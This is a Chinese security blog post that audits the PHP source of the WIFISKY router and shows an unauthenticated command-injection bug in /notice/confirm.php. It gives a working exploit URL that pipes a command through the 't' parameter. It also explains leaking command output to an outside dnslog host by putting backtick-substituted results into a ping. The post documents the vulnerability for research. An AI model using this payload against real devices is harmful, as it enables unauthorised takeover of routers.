0day之某路由器前台RCE审计
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
一.引子
又是一个风和日丽的周六下午,帅比小雷茫然的睁开疲惫的双眼,突然觉悟,我小雷乃一代肾透大师岂能虚度光阴?这成何体统?电脑来,Visual Studio Code来,源码来,小小php老夫今天就要拿下尔等!
二.目标确认
小雷此行目标: WIFISKY 7层流控路由器(php语言)
小雷审代码有三不审:1.后台的不审,不够帅 2.非rce不审,不够帅 3.不想审的不审,不够帅 所以此行只审前台的命令执行漏洞
总结: WIFISKY 7层流控路由器的前台命令执行漏洞
三.前期准备
1.使用软件
Visual Studio Code: Visual Studio Code - Code Editing. Redefined](https://code.visualstudio.com/)
网上安装教程很多,各位道友请自行研究
2.知识点准备
1)命令执行
命令执行分两种:回显和不回显,回显的没啥好说,执行的命令结果直接回显出来,这里主要说一下不回显的命令执行如何验证
首先我们要先了解Linux中反引号的作用,Linux中反引号是用来处理命令,反引号在将符号内的命令处理完毕之后,会将返回的信息传给 bash,再次执行,如下: 'ping `whoami`.test.com' 反引号中的命令会被执行
现在就很明确了,这里只需将‘.test.com’改成dnslog的地址,再执行 ‘ping `whoami`.xxx。dnslog.cn’就可以把执行的命令结果成功带出来
2)傻瓜式代审流程
1.小雷此行的目标是前台的命令执行,所以小雷先收集了php中导致命令执行漏洞产生的危险函数,如下:
eval() assert() call_user_func() create_function() array_map() call_user_func_array() system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open()
2.作为一个肾透多年的大师,导致前台命令执行的原因小雷必然熟记于心:①.危险函数中的参数用户可控 ②.接口权限效验缺失
所以,此行的第一个任务就是将所有权限效验缺失的文件挑出来,在未授权的文件中找命令执行漏洞
四.初遇
怀着激动的心情,小雷打开了代审之旅。为了完成第一步(未授权文件筛选),小雷特意研究了下鉴权方式,发现鉴权主要就靠这句代码
这下就简单了,只需在代审时候掠过有这句代码的文件即可
接下来小雷一个函数一个函数的搜索,最终目光锁定在 popen()函数,根据popen函数找到\notice\confirm.php
<?
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];
$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
if ($file)
pclose($file);
exit;
?>
这段代码一目了然符合小雷的要求:①无鉴权 ②危险函数中的参数可控
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];
这里出现了两个变量$ip
不用管,直接看$type = $_GET['t']
接受GET传参t
并将GET参数t
的值直接赋值给$type
$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
$type
被直接带进了 popen()函数,并未有任何过滤处理
那么小雷要如何构造payload才能使系统成功执行自己的命令那? 这里必须让小雷给各位道友们介绍下管道符了
“|”是Linux管道命令操作符,简称管道符。使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
傻瓜式理解: 执行多个命令,只回显最后一个命令
例如: whoami|id 1|id
所以我们只需构造paylod: t=|ping kg4ab8.dnslog.cn ,再拼接上路径:/notice/confirm.php?t=|ping kg4ab8.dnslog.cn
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录